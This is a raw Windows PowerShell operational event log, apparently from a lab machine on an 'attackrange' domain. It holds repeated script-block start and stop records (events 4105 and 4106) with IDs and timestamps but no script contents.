LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037249
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037247
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037246
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037229
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037223
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
